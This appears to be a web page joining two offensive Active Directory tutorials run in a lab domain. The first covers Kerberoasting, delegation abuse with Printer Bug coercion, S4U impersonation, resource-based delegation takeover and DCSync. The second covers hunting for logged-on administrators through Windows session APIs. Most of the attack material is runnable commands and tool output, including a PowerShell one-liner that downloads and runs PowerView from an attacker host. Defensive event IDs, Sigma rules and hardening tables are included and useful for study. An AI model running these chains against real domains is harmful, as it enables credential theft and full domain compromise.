[*] Roasting accounts with RC4 enabled (/rc4opsec)
[*] SamAccountName         : svc_iis
[*] DistinguishedName      : CN=svc_iis,CN=Users,DC=lab,DC=local
[*] ServicePrincipalName   : HTTP/WEB01.lab.local
[*] Hash written to hashes.txt

/rc4opsec only roasts accounts already configured for RC4 so you do not trip the “RC4 requested in an AES domain” detection. Drop the flag only when you must roast an AES account.

Crack offline (hashcat)

hashcat -m 13100 kerbhashes.txt rockyou.txt --rules-file best64.rule
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...:Summer2023!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/2 (50.00%) Digests

svc_iis cracks to Summer2023!. Mode 13100 is RC4 TGS, 19600 is AES128, 19700 is AES256. The AES modes need real wordlist quality because GPU rates collapse against the iteration count.

Targeted Kerberoasting

If you only have GenericWrite over a user (no SPN yet), write a fake SPN, roast, and clear it. This converts an ACL edge into a crackable hash.

Set-DomainObject -Identity helpdesk_svc -Set @{serviceprincipalname='fake/roastme'} -Verbose
Rubeus.exe kerberoast /user:helpdesk_svc /outfile:targeted.txt
Set-DomainObject -Identity helpdesk_svc -Clear serviceprincipalname
[Set-DomainObject] Setting 'serviceprincipalname' to 'fake/roastme' for object 'helpdesk_svc'
[*] Hash written to targeted.txt
[Set-DomainObject] Clearing 'serviceprincipalname' for object 'helpdesk_svc'

Kerberoasting deliberately excludes computer accounts because their machine-generated passwords are not crackable. A non-empty servicePrincipalName on a user is the entire signal.


5. Unconstrained Delegation: Enumeration and TGT Theft

Unconstrained delegation is the oldest and most dangerous model. When a host is “trusted for delegation,” any user who authenticates to it via Kerberos has their full TGT cached in the host’s LSASS, so the host can impersonate them to anything. If you own that host, you own every TGT that lands there, including a Domain Controller’s if you can coerce it to connect.

Enumerate unconstrained hosts

The flag is TRUSTED_FOR_DELEGATION (0x80000 / 524288) in userAccountControl. The bitwise LDAP matching rule finds it precisely.

Get-DomainComputer -Unconstrained | Select-Object dnshostname, useraccountcontrol
dnshostname        useraccountcontrol
-----------        ------------------
DC01.lab.local     WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION, SERVER_TRUST_ACCOUNT
WEB01.lab.local    WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# Raw LDAP equivalent
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
  -b 'DC=lab,DC=local' \
  '(userAccountControl:1.2.840.113556.1.4.803:=524288)' dNSHostName
dn: CN=WEB01,OU=Servers,DC=lab,DC=local
dNSHostName: WEB01.lab.local

DCs always show the flag, that is expected. WEB01 showing it is the finding: a member server that should never have been trusted for delegation. We already cracked svc_iis, which is local admin on WEB01, so we have a path onto the box.

Monitor LSASS for incoming TGTs

On WEB01, with admin, start Rubeus in monitor mode to harvest any TGT that arrives.

Rubeus.exe monitor /interval:1 /nowrap
[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs

Coerce the DC to authenticate (Printer Bug)

The DC will not just connect to WEB01. We force it. The MS-RPRN “Printer Bug” makes a remote spooler call back to an attacker-supplied host using the machine account, which means the DC’s TGT lands in WEB01‘s LSASS.

python3 printerbug.py 'lab.local/lowpriv:LowPass1!'@192.168.56.10 WEB01.lab.local
[*] Impacket v0.11.0
[*] Attempting to trigger authentication via rprn RPC at 192.168.56.10
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked

The access-denied at the tail is normal; the backconnect still fires. Back in the monitor window:

[*] 5/12/2024 2:41:09 PM UTC - Found new TGT:
  User                  :  DC01$@LAB.LOCAL
  StartTime             :  5/12/2024 2:41:09 PM
  EndTime               :  5/13/2024 12:41:09 AM
  RenewTill             :  5/19/2024 2:41:09 PM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :
    doIFxj...AABBQ== (truncated)

Pass-the-Ticket and DCSync

Inject DC01$‘s TGT, then DCSync as a machine account that has replication rights (a DC computer account does).

Rubeus.exe ptt /ticket:doIFxj...AABBQ==
klist
[*] Action: Import Ticket
[+] Ticket successfully imported!

Cached Tickets: (1)
  #0> Client: DC01$ @ LAB.LOCAL
      Server: krbtgt/LAB.LOCAL @ LAB.LOCAL
      Flags: forwardable, forwarded, renewable, pre_authent
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\krbtgt
[DC] 'lab.local' will be the domain
[DC] 'DC01.lab.local' will be the DC server
[DC] 'lab\krbtgt' will be the user account

Object RID           : 502
SAM Username         : krbtgt
Credentials:
  Hash NTLM: 8a6c2f1e... (truncated)
    aes256_hmac : b3d9... (truncated)

With the krbtgt hash you forge Golden Tickets at will. Unconstrained delegation plus one coercion primitive turns a member-server foothold into full domain compromise. The defensive read: kill the Print Spooler on DCs and remove unconstrained delegation from everything that is not a DC.


6. Constrained Delegation: S4U2Proxy and Protocol Transition Abuse

Constrained delegation was Microsoft’s answer to the unconstrained nightmare. Instead of caching every TGT, an account lists exactly which service SPNs it may delegate to in msDS-AllowedToDelegateTo. The delegation is performed through two MS-SFU protocol extensions:

  • S4U2Self lets a service ask the KDC for a service ticket to itself on behalf of any named user, even one who never used Kerberos. This is “Protocol Transition.” It bridges NTLM (or no auth at all) into a Kerberos ticket.
  • S4U2Proxy takes that forwardable ticket and exchanges it for a ticket to one of the SPNs in msDS-AllowedToDelegateTo.

The dangerous combination: if an account has TRUSTED_TO_AUTH_FOR_DELEGATION set (the Protocol Transition / “use any authentication protocol” radio button), S4U2Self yields a forwardable ticket, and S4U2Proxy then impersonates any user, including Domain Admin, to the allowed service. No password for that user required.

Enumerate constrained delegation

TRUSTED_TO_AUTH_FOR_DELEGATION is bit 0x1000000 (16777216).

Get-DomainUser -TrustedToAuth | Select-Object samaccountname, `
  @{N='allowedto';E={$_.'msds-allowedtodelegateto'}}
samaccountname allowedto
-------------- ---------
svc_sql        cifs/DC01.lab.local
# Raw LDAP check for the protocol-transition bit
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
  -b 'DC=lab,DC=local' \
  '(userAccountControl:1.2.840.113556.1.4.803:=16777216)' \
  sAMAccountName msDS-AllowedToDelegateTo
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
msDS-AllowedToDelegateTo: cifs/DC01.lab.local

The finding: svc_sql is trusted to authenticate for delegation and may delegate to cifs/DC01.lab.local. Because we Kerberoasted svc_sql earlier (it had an SPN) and we know its password is SqlPass1!, we control it. That means we can impersonate Domain Admin to the file system of the DC.

Run the S4U chain (Rubeus, Windows)

First a TGT for the controlled account, then the S4U exchange.

Rubeus.exe asktgt /user:svc_sql /password:SqlPass1! /domain:lab.local /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 5f4dcc3b...
[+] TGT request successful!
[*] base64(ticket.kirbi):
    doIE+jCCBP...AABBQ==
Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /nowrap /ptt
[*] Action: S4U
[*] Building S4U2self request for: svc_sql@LAB.LOCAL
[*] Impersonating user 'Administrator' to target SPN 'cifs/DC01.lab.local'
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'cifs/DC01.lab.local'
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/DC01.lab.local':
    doIGdj...AABBQ==
[+] Ticket successfully imported!

Confirm impersonation

klist
dir \\DC01.lab.local\C$
#0> Client: Administrator @ LAB.LOCAL
    Server: cifs/DC01.lab.local @ LAB.LOCAL

 Directory of \\DC01.lab.local\C$
05/12/2024  02:55 PM    <DIR>          Windows
05/12/2024  09:10 AM    <DIR>          Users
05/12/2024  09:10 AM    <DIR>          Program Files

The altservice trick: pivot CIFS to LDAP for DCSync

Kerberos does not validate the service class in the returned ticket at the KDC, so a ticket minted for cifs/DC01 can be rewritten to ldap/DC01 on the same host. That promotes file access into directory replication.

Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /altservice:"ldap/DC01.lab.local" /nowrap /ptt
[*] Substituting alternative service name 'ldap/DC01.lab.local'
[+] S4U2proxy success!
[+] Ticket successfully imported!
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\Administrator
SAM Username : Administrator
Credentials:
  Hash NTLM: e19ccf75ee54e06b06a5907af13cef42

Linux equivalent (Impacket)

getST.py -dc-ip 192.168.56.10 -spn cifs/DC01.lab.local -impersonate Administrator lab.local/svc_sql:'SqlPass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
secretsdump.py -k -no-pass DC01.lab.local
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
lab.local\Administrator:500:aad3b...:e19ccf75ee54e06b06a5907af13cef42:::
krbtgt:502:aad3b...:8a6c2f1e...:::

Step-by-step flow diagram of the S4U2Self then S4U2Proxy constrained delegation chain from attacker-controlled svc_sql to a DCSync-ready LDAP ticket on DC01
Protocol Transition lets svc_sql mint a forwardable ticket for any user – including Domain Admin – without ever knowing their password.

7. Resource-Based Constrained Delegation: Computer Object Takeover

RBCD inverts the trust direction. Classic constrained delegation lists outbound targets on the delegating account, which requires domain-level write to configure. RBCD puts the trust on the resource: the target computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute names which accounts may delegate to it. The catch that makes RBCD a workhorse for attackers: you only need write access to one computer object (GenericWrite / WriteProperty), not domain admin, to configure it. Combine that with the default MachineAccountQuota=10 (any user can create up to ten computer accounts) and you have a self-contained takeover primitive.

Enumerate the write primitive

We provisioned lowpriv with GenericWrite over COMP01$. Find it with BloodHound’s Cypher console:

MATCH p=(u:User {name:"LOWPRIV@LAB.LOCAL"})-[:GenericWrite]->(c:Computer)
RETURN p
LOWPRIV@LAB.LOCAL  -[GenericWrite]->  COMP01.LAB.LOCAL

Confirm the same edge with PowerView and confirm we can create machine accounts:

Get-DomainObjectAcl -Identity COMP01 -ResolveGUIDs |
  Where-Object {$_.SecurityIdentifier -match (Get-DomainUser lowpriv).objectsid} |
  Select-Object ActiveDirectoryRights, ObjectAceType
ActiveDirectoryRights ObjectAceType
--------------------- -------------
            WriteProperty All
Get-DomainObject -Identity "DC=lab,DC=local" -Properties ms-DS-MachineAccountQuota
ms-ds-machineaccountquota
-------------------------
                       10

Two findings confirmed: lowpriv can write to COMP01, and the quota lets us create the attacker-controlled computer we need.

Create the attacker computer (PowerMad)

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'FakePass1!' -AsPlainText -Force)
[+] Machine account FAKE01 added
$fakeSid = (Get-ADComputer FAKE01).SID.Value
$fakeSid
S-1-5-21-3623811015-3361044348-30300820-1142

Write the SID into COMP01’s RBCD attribute

We build a security descriptor granting FAKE01 the right to act on behalf of others, serialize it, and write it.

$rsd = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$fakeSid)"
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $rsd
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-ADComputer COMP01 | Set-ADObject -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
Get-ADComputer COMP01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
DistinguishedName : CN=COMP01,CN=Computers,DC=lab,DC=local
msDS-AllowedToActOnBehalfOfOtherIdentity : {1, 0, 4, 128...}
Name              : COMP01

COMP01 now trusts FAKE01 to delegate to it. Because we know FAKE01‘s password, we run S4U as FAKE01 and impersonate any user to COMP01.

Run the S4U chain and land code execution

getST.py -dc-ip 192.168.56.10 -spn cifs/COMP01.lab.local -impersonate Administrator 'lab.local/FAKE01$:FakePass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
wmiexec.py -k -no-pass Administrator@COMP01.lab.local
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
lab\administrator

Cleanup (mandatory in authorized work)

Set-ADComputer COMP01 -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
Remove-ADComputer FAKE01 -Confirm:$false
# attribute cleared, FAKE01 removed

Hierarchy diagram showing how lowpriv uses GenericWrite and MachineAccountQuota to stage FAKE01, write the RBCD attribute on COMP01, and execute the S4U chain to gain SYSTEM
RBCD requires only a single GenericWrite edge and the default MachineAccountQuota to manufacture a self-contained domain takeover primitive.

8. Chaining Techniques: Realistic Attack Paths

None of these live in isolation. The engagement value is the chain.

ChainPath
Roast to delegation to DAKerberoast svc_sql (weak password) -> svc_sql holds protocol-transition constrained delegation to cifs/DC01 -> S4U + altservice to ldap/DC01 -> DCSync krbtgt
ACL to RBCD to hostGenericWrite over COMP01 (found in BloodHound) -> create FAKE01 via quota -> write msDS-AllowedToActOnBehalfOfOtherIdentity -> S4U -> SYSTEM on COMP01
Coercion to domainFind unconstrained WEB01 -> own it via cracked svc_iis -> Printer Bug coerce DC01$ TGT -> PtT -> DCSync

The connective tissue is always enumeration. PowerView and BloodHound tell you which roasted account matters, which write primitive reaches a tier-0 path, and which coercion target is trusted for delegation. Roasting a random print-queue service that goes nowhere is wasted noise; roasting the one account that also holds delegation rights is the kill.


9. Common Attacker Techniques

TechniqueDescription
KerberoastingRequest TGS for user-SPN accounts, crack RC4 ticket offline
Targeted KerberoastingAdd SPN via GenericWrite, roast, clear SPN
Unconstrained TGT theftCapture cached TGTs (incl. DC) from LSASS on a delegation host
Printer Bug coercionForce a target to authenticate via MS-RPRN spooler RPC
S4U2Self / S4U2Proxy abuseImpersonate arbitrary users via protocol transition
altservice substitutionRewrite a service ticket’s SPN class (CIFS to LDAP) for DCSync
RBCD takeoverWrite msDS-AllowedToActOnBehalfOfOtherIdentity + S4U chain
MachineAccountQuota abuseCreate computer accounts as a standard user for RBCD staging
Pass-the-TicketInject stolen or forged TGT/TGS into the current session

10. Defensive Strategies and Detection

Offense without the blue-side picture is half a craft. Each attack above leaves a distinct trail if the audit policy is right. Enable Audit Kerberos Service Ticket Operations and Audit Directory Service Changes at minimum; without those, 4769 and 5136 simply do not appear.

Windows Security event IDs

Event IDLogTriggerDetection use
4769SecurityTGS requestedKerberoasting: TicketEncryptionType=0x17 from a non-machine account; S4U2Self: ServiceName == AccountName; S4U2Proxy: non-empty TransitedServices
4768SecurityTGT requestedBaseline; spot a host requesting a TGT for a DC machine account post-coercion
4738SecurityUser account changedDelegation / UAC flag toggles, msDS-AllowedToDelegateTo edits on users
4742SecurityComputer account changedDelegation flag changes on machine accounts
4741SecurityComputer account createdNew machine accounts; alert when creator is a non-admin (RBCD/PowerMad staging)
5136SecurityDirectory object modifiedRBCD: AttributeLDAPDisplayName=msDS-AllowedToActOnBehalfOfOtherIdentity, OperationType=Value Added

A single account requesting many TGS in a burst, or any RC4 request in an AES-enforced domain, is the highest-fidelity Kerberoasting signal. Any write to msDS-AllowedToActOnBehalfOfOtherIdentity outside a change window is near-certain RBCD staging.

Sigma: Kerberoasting

title: Potential Kerberoasting via RC4 Service Ticket Request
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'
    TicketOptions: '0x40810000'
  filter:
    ServiceName|endswith: '$'
    AccountName|endswith: '$'
  condition: selection and not filter
level: high

Sigma: RBCD staging

title: Resource-Based Constrained Delegation Attribute Write
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136
    AttributeLDAPDisplayName: 'msDS-AllowedToActOnBehalfOfOtherIdentity'
    OperationType: '%%14674'   # Value Added
  condition: selection
level: high

ETW and other telemetry

ProviderUse
Microsoft-Windows-Security-AuditingSource for all 4769/5136/4741 events
Microsoft-Windows-Kerberos-Key-Distribution-CenterDC-side KDC tracing, verbose TGS issuance
Microsoft Defender for IdentityNative Kerberoasting, RBCD, and S4U anomaly detection on the DC sensor
Directory Services field-engineering logging (level 5)Captures raw LDAP filter strings, surfaces (servicePrincipalName=*) sweeps

Hardening checklist

ControlAddresses
Group Managed Service Accounts (gMSA)Removes Kerberoasting; 240-char auto-rotating passwords
Service passwords >= 25 chars, randomKerberoasting mitigation where gMSA is infeasible
Enforce AES, disable RC4 (msDS-SupportedEncryptionTypes=24)Forces AES TGS, cracking orders of magnitude harder
Protected Users group for all tier-0 accountsTickets cannot be delegated; no RC4
“Account is sensitive and cannot be delegated” (NOT_DELEGATED)Blocks S4U impersonation of admins
Remove unconstrained delegation from non-DCsEliminates Printer Bug TGT theft
MachineAccountQuota=0 via GPOBlocks user-created computers for RBCD staging
Restrict GenericWrite/WriteProperty on computer objectsRemoves the RBCD write primitive
Disable Print Spooler on DCs and sensitive serversKills the coercion vector

Symbolic illustration of a cracked Kerberos shield being repaired, representing defensive hardening against delegation attacks
Delegation misconfigurations accumulated over years collapse under a single enumeration pass – hardening with gMSA, AES enforcement, and Protected Users closes the most exploited paths.

11. Tools for Delegation Analysis

ToolDescriptionLink
Impacket (GetUserSPNs.py, getST.py, secretsdump.py)Linux SPN/S4U/DCSync toolkitgithub.com/fortra/impacket
RubeusWindows kerberoast, S4U, monitor, pttgithub.com/GhostPack/Rubeus
PowerViewLDAP delegation and ACL enumerationgithub.com/PowerShellMafia
BloodHound / SharpHoundGraph-based delegation and ACL path findingbloodhound.specterops.io
PowerMadCreate machine accounts for RBCD staginggithub.com/Kevin-Robertson/Powermad
MimikatzTGT dumping, DCSync, PtTgithub.com/gentilkiwi/mimikatz
hashcatOffline TGS cracking (13100/19600/19700)hashcat.net
SpoolSample / printerbug.pyMS-RPRN coerciongithub.com/leechristensen/SpoolSample
setspn.exeNative SPN registration and querydocs.microsoft.com

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
KerberoastingT1558.003Event 4769 RC4 from non-machine account
Steal or Forge Kerberos TicketsT15584768/4769 anomalies, ticket lifetimes
Golden TicketT1558.001Post-DCSync krbtgt use; anomalous TGT
Pass the TicketT1550.003Rubeus ptt; injected ticket without prior 4768
Forced AuthenticationT1187Spooler RPC callback, 4768 for DC machine account
Access Token / Delegation ManipulationT11344738/4742 delegation flag changes, 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity
OS Credential Dumping: DCSyncT1003.0064662 replication GUID access from non-DC

Summary

  • SPN and delegation misconfigurations let any authenticated user climb to Domain Admin, so enumeration of servicePrincipalName, UAC delegation flags, and msDS-* attributes is the highest-value reconnaissance in AD.
  • Kerberoasting works because the KDC encrypts service tickets with the service account’s password-derived key; user SPNs with RC4 enabled are offline-crackable, computer SPNs are not.
  • Unconstrained delegation caches full TGTs in LSASS; combined with Printer Bug coercion it converts a member-server foothold into a DC TGT and krbtgt compromise.
  • Constrained delegation with protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION) enables S4U2Self plus S4U2Proxy impersonation of any user, and the altservice trick pivots CIFS tickets into LDAP for DCSync.
  • RBCD only needs write access to a single computer object plus a non-zero MachineAccountQuota, making it the most accessible takeover primitive once you find a GenericWrite edge.
  • Detect via Event 4769 (RC4 TGS bursts), Event 5136 (writes to msDS-AllowedToActOnBehalfOfOtherIdentity), and Event 4741 (rogue machine accounts); defend with gMSA, AES enforcement, Protected Users, MachineAccountQuota=0, and spooler hardening on DCs.

Related Tutorials

References

Session, Logged-On User, and Local Admin Hunting: Finding Where Domain Admins Are Logged In

You phished a workstation. You’re LABUSER, a nobody in the domain: no local admin, no nested groups, no juicy ACLs. The Domain Admin you actually want never logs on to your box. So the only questions that matter right now are these: where is that privileged account authenticated at this moment, and which of those machines can you already touch with the access you have? Answer both and you’ve drawn a straight line from foothold to SYSTEM on a Domain Controller.

Objective: Understand how a low-privileged domain user enumerates active network sessions, interactive logons, and local administrator membership across domain-joined hosts to locate where Domain Admins are logged in, the exact RPC interfaces and Win32 APIs that make this possible, and the full blue-team detection and hardening stack that turns the hunt into noise.


1. Why Session Hunting Matters in AD Attacks

Credentials in Active Directory are sticky. When a privileged account authenticates interactively to a machine, secrets land in LSASS memory: NTLM hashes, Kerberos TGTs, sometimes cleartext if WDigest or an old credential provider is in play. If you can run as local admin or SYSTEM on that machine, those secrets are yours. That is the entire economic logic of session hunting. You are not attacking the Domain Controller directly. You are finding the cheaper path: a workstation where a DA forgot to log off, where you can already escalate, and where LSASS is sitting there with a Domain Admin TGT in it.

This is a Discovery-phase activity (MITRE TA0007) that directly feeds Lateral Movement (TA0008). The output is a target list ranked by value: “Box X currently holds a session for an account in Domain Admins, and I have local admin on Box X.” Everything else is plumbing.

Two concepts get conflated constantly, so pin them down now:

  • A network session is an SMB connection from a remote host to a file or pipe resource. It tells you who connected to this machine over the network, not who is sitting at the console. These are transient and noisy.
  • An interactive logon is a console, RDP, service, or batch logon where the user’s credentials are materialized in LSASS on that machine. This is the prize, because the credential material is local to the box.

The three enumeration primitives below map to these two ideas, and confusing them wastes hours in an engagement.


2. The Three Session Enumeration Primitives

Three distinct RPC interfaces answer “who is on this machine.” Each calls a different Win32 wrapper, traverses a different named pipe, and demands a different privilege. Keeping them separate is the difference between a clean hunt and a pile of false leads.

MethodAPI / TransportMin PrivilegeReturns
NetSessionEnumnetapi32.dll / MS-SRVS / \PIPE\srvsvcDomain user (level 10, pre-2016) or local admin (post-2016)Network / SMB sessions
NetWkstaUserEnumnetapi32.dll / MS-WKST / \PIPE\wkssvcLocal admin on targetInteractive, service, batch logons
Remote RegistryHKEY_USERS / MS-RRP / \PIPE\winregLocal admin + Remote Registry runningInteractive logons (SIDs under HKEY_USERS)

Primitive 1: NetSessionEnum (network sessions)

NetSessionEnum returns the list of active SMB sessions connected to a server. The RPC server lives behind the \PIPE\srvsvc named pipe and speaks the MS-SRVS protocol. The killer property: at level 10, on hosts that predate the 2016 hardening, any authenticated domain user can query it. That made it the backbone of Invoke-UserHunter and early BloodHound session collection for years.

The catch is what it returns. The sesi10_cname field is the client name (usually an IP), and sesi10_username is the account that established the SMB session. This is excellent for spotting where an admin’s workstation is reaching out from, but it almost never returns local accounts (they generally cannot connect over SMB), and the results are incomplete by design. You point it at a file server or DC and learn which clients are currently talking to it.

Primitive 2: NetWkstaUserEnum (interactive logons)

NetWkstaUserEnum is the reliable one when you have the access for it. Microsoft’s own documentation states the list “includes interactive, service, and batch logons.” It runs over the \PIPE\wkssvc pipe (MS-WKST), and it requires local administrator on the target. That privilege gate is exactly why it returns the good stuff: it tells you who is logged on at the box, not who connected over the network.

This is the most reliable way to list logged-on users when you hold admin credentials. PowerView’s Get-NetLoggedon wraps it directly, and SharpHound implements it in the ReadUserSessionsPrivileged method inside ComputerSessionProcessor.cs, with the P/Invoke declared in NativeMethods.cs.

Primitive 3: Remote Registry (HKEY_USERS)

When a user logs on interactively, Windows loads their profile hive under HKEY_USERS, keyed by SID. Enumerate the subkeys of HKEY_USERS on a remote machine and you get the SIDs of every interactively logged-on user. The transport is the \PIPE\winreg pipe (MS-RRP), and it needs the Remote Registry service running plus local admin.

That service is disabled by default on Windows 10/11 workstations and set to trigger-start on server SKUs (it starts when something pokes \PIPE\winreg). Sysinternals PsLoggedOn uses this method, which is why it sometimes returns nothing on a hardened workstation even when someone is clearly logged in.

Local admin group enumeration (SAMR)

The other half of the equation is “where do I already have admin.” NetLocalGroupGetMembers (in netapi32.dll, over the SAMR protocol on \PIPE\samr) returns the members of BUILTIN\Administrators (RID 544) on a remote host. PowerView exposes this as Get-NetLocalGroupMember; SharpHound handles it in LocalAdminProcessor.cs. Cross-reference the local admin members against where DA sessions live and the kill chain writes itself.


Hierarchy diagram showing the four session enumeration primitives branching from an attacker host, each connected to its named pipe transport and the type of data returned, with privilege requirements indicated by node grouping
Each enumeration primitive targets a distinct named pipe, returns different session data, and demands a different privilege level – conflating them leads to false negatives and wasted time.

3. Windows API Internals: Structs and Signatures

Tools abstract this away, but you should know what they call, because EDRs hook these exact symbols and because writing your own collector dodges signatured binaries.

NetSessionEnum‘s full signature:

NET_API_STATUS NET_API_FUNCTION NetSessionEnum(
    [in]      LMSTR    servername,    // \\host or NULL for local
    [in]      LMSTR    UncClientName, // filter by client, NULL = all
    [in]      LMSTR    username,      // filter by user, NULL = all
    [in]      DWORD    level,         // 0, 1, 2, 10, 502
    [out]     LPBYTE   *bufptr,       // receives allocated array
    [in]      DWORD    prefmaxlen,    // MAX_PREFERRED_LENGTH
    [out]     LPDWORD  entriesread,
    [out]     LPDWORD  totalentries,
    [in, out] LPDWORD  resume_handle
);

The level parameter controls both the returned struct and the privilege required. Level 10 is the low-privilege sweet spot:

typedef struct _SESSION_INFO_10 {
    LMSTR sesi10_cname;      // client name (typically source IP)
    LMSTR sesi10_username;   // account that opened the session
    DWORD sesi10_time;       // seconds the session has been active
    DWORD sesi10_idle_time;  // seconds the session has been idle
} SESSION_INFO_10, *PSESSION_INFO_10;

Levels 1 and 2 carry richer data (open files, session flags, client type), but only members of the local Administrators or Server Operators group can call them. Level 10 returns the four fields above and was historically callable by any authenticated user.

NetWkstaUserEnum‘s signature is simpler since it has no client/user filters:

NET_API_STATUS NetWkstaUserEnum(
    LMSTR   servername,
    DWORD   level,        // 0 or 1
    LPBYTE  *bufptr,
    DWORD   prefmaxlen,
    LPDWORD entriesread,
    LPDWORD totalentries,
    LPDWORD resume_handle
);

Level 1 hands back WKSTA_USER_INFO_1, which is what you want for attribution:

typedef struct _WKSTA_USER_INFO_1 {
    LMSTR wkui1_username;     // logged-on account
    LMSTR wkui1_logon_domain; // its domain
    LMSTR wkui1_oth_domains;  // other domains
    LMSTR wkui1_logon_server; // DC that authenticated it
} WKSTA_USER_INFO_1, *PWKSTA_USER_INFO_1;

Both APIs allocate their output buffer inside netapi32.dll. You must release it with NetApiBufferFree(bufptr) or you leak. A custom level-10 collector in C# looks like this skeleton, declaring the P/Invoke and marshaling the array:

[DllImport("netapi32.dll", SetLastError = true)]
static extern int NetSessionEnum(
    string servername, string UncClientName, string username,
    int level, out IntPtr bufptr, int prefmaxlen,
    out int entriesread, out int totalentries, ref int resume_handle);

[DllImport("netapi32.dll")]
static extern int NetApiBufferFree(IntPtr buffer);

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct SESSION_INFO_10 {
    public string sesi10_cname;
    public string sesi10_username;
    public uint   sesi10_time;
    public uint   sesi10_idle_time;
}

// NetSessionEnum("\\\\DC01.lab.local", null, null, 10, out p,
//   -1 /*MAX_PREFERRED_LENGTH*/, out read, out total, ref resume);
// Walk p as SESSION_INFO_10[read]; Marshal.PtrToStructure each entry,
// advancing by Marshal.SizeOf(typeof(SESSION_INFO_10)).
// Always NetApiBufferFree(p) when done.

Why does the authentication “just work” against a remote host? Because the RPC bind rides SMB, and when SharpHound or PowerView passes a hostname (not an IP), the SMB client requests a Kerberos service ticket for the cifs/DC01.lab.local SPN, presents it, and the server validates the PAC in the ticket. No password prompt, no NTLM, because your current Kerberos TGT is good for the whole domain. That single-sign-on behavior is what lets a foothold fan out across hundreds of hosts silently.


4. The Windows Server 2016 / KB2871997 Privilege Shift

For years the level-10 trick was free reconnaissance. Microsoft eventually closed it. As of Windows Server 2016 (and rolled into the broader credential-hardening work tracked under updates like KB2871997), querying NetSessionEnum requires administrator access on the target. The control is a security descriptor stored in the registry:

HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\SrvsvcSessionInfo

On a default modern server, the DACL on that value no longer grants the Authenticated Users SID (S-1-5-11) read access to session info, so a plain domain user calling level 10 gets ERROR_ACCESS_DENIED (5). On an unhardened or legacy DC, or one where an admin loosened that key, the call still succeeds for any domain user. This is exactly why the lab DC in the next section is left at defaults: so you can see the working case before you understand what removes it.

Practical takeaway: against a 2019 DC that has not had this key tightened, level 10 works. Against a freshly patched 2022 environment with the default DACL, it does not, and you fall back to NetWkstaUserEnum (which needs admin anyway). Test, don’t assume.


5. Manual Enumeration with Built-in Tools and PowerView

Enumeration always precedes exploitation. Before you can hunt sessions you need the host list, and before you trust a tool you should know the living-off-the-land equivalent.

Built-in living-off-the-land checks

net session shows sessions connected to the local box. It needs admin even locally, but it costs nothing and burns no tooling:

C:\> net session
Computer               User name            Client Type       Opens Idle time

\\10.10.10.41          LABDA                                       0 00:02:13
The command completed successfully.

qwinsta queries terminal/RDP sessions on a remote server, useful for spotting an interactive RDP logon:

C:\> qwinsta /server:WS01.lab.local
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
 console           LABDA                     1  Active
 rdp-tcp                                  65536  Listen

Host discovery via LDAP with PowerView

Load PowerView in memory so nothing touches disk, then pull every computer object. The LDAP filter under the hood is (&(objectCategory=computer)(objectClass=computer)):

IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.99/PowerView.ps1')
Get-DomainComputer | Select-Object dnshostname, operatingsystem
dnshostname           operatingsystem
-----------           ---------------
DC01.lab.local        Windows Server 2019 Standard Evaluation
WS01.lab.local        Windows 10 Pro
WS02.lab.local        Windows 10 Pro

That’s your target universe. Three hosts here; in a real estate it’s hundreds, and you’d pipe dnshostname straight into the session functions.

Network sessions with Get-NetSession

